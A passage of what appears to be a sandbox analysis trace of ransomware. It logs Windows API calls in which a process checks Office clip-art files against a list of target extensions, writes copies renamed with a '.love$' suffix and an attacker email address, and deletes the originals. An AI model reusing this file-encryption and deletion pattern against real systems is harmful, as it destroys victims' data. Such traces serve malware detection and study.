lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0244.491] lstrlenW (lpString=".jpg") returned 4 [0244.491] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0244.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0244.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0244.491] lstrlenW (lpString=".doc") returned 4 [0244.491] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0244.491] lstrlenW (lpString=".docx") returned 5 [0244.491] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0244.491] lstrlenW (lpString=".pdf") returned 4 [0244.491] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0244.491] lstrlenW (lpString=".xls") returned 4 [0244.491] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0244.491] lstrlenW (lpString=".xlsx") returned 5 [0244.491] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0244.491] lstrlenW (lpString=".ppt") returned 4 [0244.492] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0244.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0244.492] lstrlenW (lpString=".zip") returned 4 [0244.492] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0244.492] lstrlenW (lpString=".rar") returned 4 [0244.492] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0244.492] lstrlenW (lpString=".bz2") returned 4 [0244.492] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0244.492] lstrlenW (lpString=".7z") returned 3 [0244.492] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0244.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0244.492] lstrlenW (lpString=".dbf") returned 4 [0244.492] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0244.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0244.492] lstrlenW (lpString=".1cd") returned 4 [0244.492] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0244.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0244.492] lstrlenW (lpString=".jpg") returned 4 [0244.492] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0244.492] lstrcmpiW (lpString1=".MID", lpString2=".love$") returned 1 [0244.492] lstrlenW (lpString="FINCL_02.MID") returned 12 [0244.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0244.777] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=9318) returned 1 [0244.777] CloseHandle (hObject=0x4e8) returned 1 [0244.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid")) returned 0x220 [0244.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0244.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0244.926] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.926] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0244.928] GetLastError () returned 0x0 [0244.928] ReadFile (in: hFile=0x4c8, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x2466, lpOverlapped=0x0) returned 1 [0244.931] WriteFile (in: hFile=0x388, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x2470, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x2470, lpOverlapped=0x0) returned 1 [0244.933] ReadFile (in: hFile=0x4c8, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0244.933] WriteFile (in: hFile=0x388, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0xec, lpOverlapped=0x0) returned 1 [0244.933] SetEndOfFile (hFile=0x388) returned 1 [0245.082] CloseHandle (hObject=0x388) returned 1 [0245.097] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.097] SetEndOfFile (hFile=0x4c8) returned 1 [0245.101] CloseHandle (hObject=0x4c8) returned 1 [0245.101] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0245.102] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid")) returned 1 [0245.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0245.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0245.103] lstrlenW (lpString=".doc") returned 4 [0245.103] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0245.103] lstrlenW (lpString=".docx") returned 5 [0245.103] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0245.103] lstrlenW (lpString=".pdf") returned 4 [0245.103] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0245.103] lstrlenW (lpString=".xls") returned 4 [0245.103] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0245.103] lstrlenW (lpString=".xlsx") returned 5 [0245.103] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0245.104] lstrlenW (lpString=".ppt") returned 4 [0245.104] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0245.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0245.104] lstrlenW (lpString=".zip") returned 4 [0245.104] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0245.104] lstrlenW (lpString=".rar") returned 4 [0245.104] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0245.104] lstrlenW (lpString=".bz2") returned 4 [0245.104] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0245.104] lstrlenW (lpString=".7z") returned 3 [0245.104] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0245.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0245.104] lstrlenW (lpString=".dbf") returned 4 [0245.104] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0245.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0245.104] lstrlenW (lpString=".1cd") returned 4 [0245.104] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0245.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0245.104] lstrlenW (lpString=".jpg") returned 4 [0245.104] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0245.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0245.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0245.104] lstrlenW (lpString=".doc") returned 4 [0245.105] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0245.105] lstrlenW (lpString=".docx") returned 5 [0245.105] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0245.105] lstrlenW (lpString=".pdf") returned 4 [0245.105] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0245.105] lstrlenW (lpString=".xls") returned 4 [0245.105] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0245.105] lstrlenW (lpString=".xlsx") returned 5 [0245.105] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0245.105] lstrlenW (lpString=".ppt") returned 4 [0245.105] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0245.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0245.105] lstrlenW (lpString=".zip") returned 4 [0245.105] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0245.105] lstrlenW (lpString=".rar") returned 4 [0245.105] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0245.105] lstrlenW (lpString=".bz2") returned 4 [0245.105] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0245.105] lstrlenW (lpString=".7z") returned 3 [0245.105] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0245.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0245.105] lstrlenW (lpString=".dbf") returned 4 [0245.105] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0245.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0245.105] lstrlenW (lpString=".1cd") returned 4 [0245.106] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0245.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0245.106] lstrlenW (lpString=".jpg") returned 4 [0245.106] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0245.106] lstrcmpiW (lpString1=".MID", lpString2=".love$") returned 1 [0245.106] lstrlenW (lpString="JAVA_01.MID") returned 11 [0245.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0246.140] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=9797) returned 1 [0246.140] CloseHandle (hObject=0x4e4) returned 1 [0246.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid")) returned 0x220 [0246.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0246.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0246.143] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.143] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0246.144] GetLastError () returned 0x0 [0246.144] ReadFile (in: hFile=0x4e4, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x2645, lpOverlapped=0x0) returned 1 [0246.201] WriteFile (in: hFile=0x4e8, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x2650, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x2650, lpOverlapped=0x0) returned 1 [0246.203] ReadFile (in: hFile=0x4e4, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0246.203] WriteFile (in: hFile=0x4e8, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0xea, lpOverlapped=0x0) returned 1 [0246.203] SetEndOfFile (hFile=0x4e8) returned 1 [0246.203] CloseHandle (hObject=0x4e8) returned 1 [0246.203] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.203] SetEndOfFile (hFile=0x4e4) returned 1 [0247.051] CloseHandle (hObject=0x4e4) returned 1 [0247.051] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0247.054] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid")) returned 1 [0247.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0247.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0247.055] lstrlenW (lpString=".doc") returned 4 [0247.055] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0247.055] lstrlenW (lpString=".docx") returned 5 [0247.055] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0247.055] lstrlenW (lpString=".pdf") returned 4 [0247.055] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0247.056] lstrlenW (lpString=".xls") returned 4 [0247.056] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0247.056] lstrlenW (lpString=".xlsx") returned 5 [0247.056] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0247.056] lstrlenW (lpString=".ppt") returned 4 [0247.056] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0247.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0247.056] lstrlenW (lpString=".zip") returned 4 [0247.056] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0247.056] lstrlenW (lpString=".rar") returned 4 [0247.056] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0247.056] lstrlenW (lpString=".bz2") returned 4 [0247.056] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0247.056] lstrlenW (lpString=".7z") returned 3 [0247.056] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0247.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0247.056] lstrlenW (lpString=".dbf") returned 4 [0247.056] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0247.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0247.056] lstrlenW (lpString=".1cd") returned 4 [0247.056] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0247.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0247.056] lstrlenW (lpString=".jpg") returned 4 [0247.056] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0247.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0247.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0247.056] lstrlenW (lpString=".doc") returned 4 [0247.056] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0247.056] lstrlenW (lpString=".docx") returned 5 [0247.056] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0247.056] lstrlenW (lpString=".pdf") returned 4 [0247.056] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0247.056] lstrlenW (lpString=".xls") returned 4 [0247.056] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0247.057] lstrlenW (lpString=".xlsx") returned 5 [0247.057] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0247.057] lstrlenW (lpString=".ppt") returned 4 [0247.057] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0247.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0247.057] lstrlenW (lpString=".zip") returned 4 [0247.057] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0247.057] lstrlenW (lpString=".rar") returned 4 [0247.057] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0247.057] lstrlenW (lpString=".bz2") returned 4 [0247.057] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0247.057] lstrlenW (lpString=".7z") returned 3 [0247.057] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0247.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0247.057] lstrlenW (lpString=".dbf") returned 4 [0247.057] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0247.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0247.057] lstrlenW (lpString=".1cd") returned 4 [0247.057] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0247.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0247.057] lstrlenW (lpString=".jpg") returned 4 [0247.057] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0247.057] lstrcmpiW (lpString1=".MID", lpString2=".love$") returned 1 [0247.057] lstrlenW (lpString="NBOOK_01.MID") returned 12 [0247.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0247.062] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=5968) returned 1 [0247.062] CloseHandle (hObject=0x4e4) returned 1 [0247.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid")) returned 0x220 [0247.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0247.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0247.062] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.062] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0247.063] GetLastError () returned 0x0 [0247.063] ReadFile (in: hFile=0x4e4, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x1750, lpOverlapped=0x0) returned 1 [0247.072] WriteFile (in: hFile=0x450, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x1760, lpOverlapped=0x0) returned 1 [0247.073] ReadFile (in: hFile=0x4e4, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0247.073] WriteFile (in: hFile=0x450, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0xec, lpOverlapped=0x0) returned 1 [0247.074] SetEndOfFile (hFile=0x450) returned 1 [0247.074] CloseHandle (hObject=0x450) returned 1 [0247.074] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.074] SetEndOfFile (hFile=0x4e4) returned 1 [0247.077] CloseHandle (hObject=0x4e4) returned 1 [0247.077] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0247.077] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid")) returned 1 [0247.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0247.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0247.078] lstrlenW (lpString=".doc") returned 4 [0247.078] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0247.078] lstrlenW (lpString=".docx") returned 5 [0247.078] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0247.078] lstrlenW (lpString=".pdf") returned 4 [0247.078] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0247.078] lstrlenW (lpString=".xls") returned 4 [0247.078] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0247.078] lstrlenW (lpString=".xlsx") returned 5 [0247.078] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0247.079] lstrlenW (lpString=".ppt") returned 4 [0247.079] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0247.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0247.079] lstrlenW (lpString=".zip") returned 4 [0247.079] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0247.079] lstrlenW (lpString=".rar") returned 4 [0247.079] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0247.079] lstrlenW (lpString=".bz2") returned 4 [0247.079] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0247.079] lstrlenW (lpString=".7z") returned 3 [0247.079] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0247.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0247.079] lstrlenW (lpString=".dbf") returned 4 [0247.079] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0247.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0247.079] lstrlenW (lpString=".1cd") returned 4 [0247.079] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0247.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0247.079] lstrlenW (lpString=".jpg") returned 4 [0247.079] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0247.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0247.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0247.079] lstrlenW (lpString=".doc") returned 4 [0247.079] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0247.079] lstrlenW (lpString=".docx") returned 5 [0247.079] lstrcmpiW 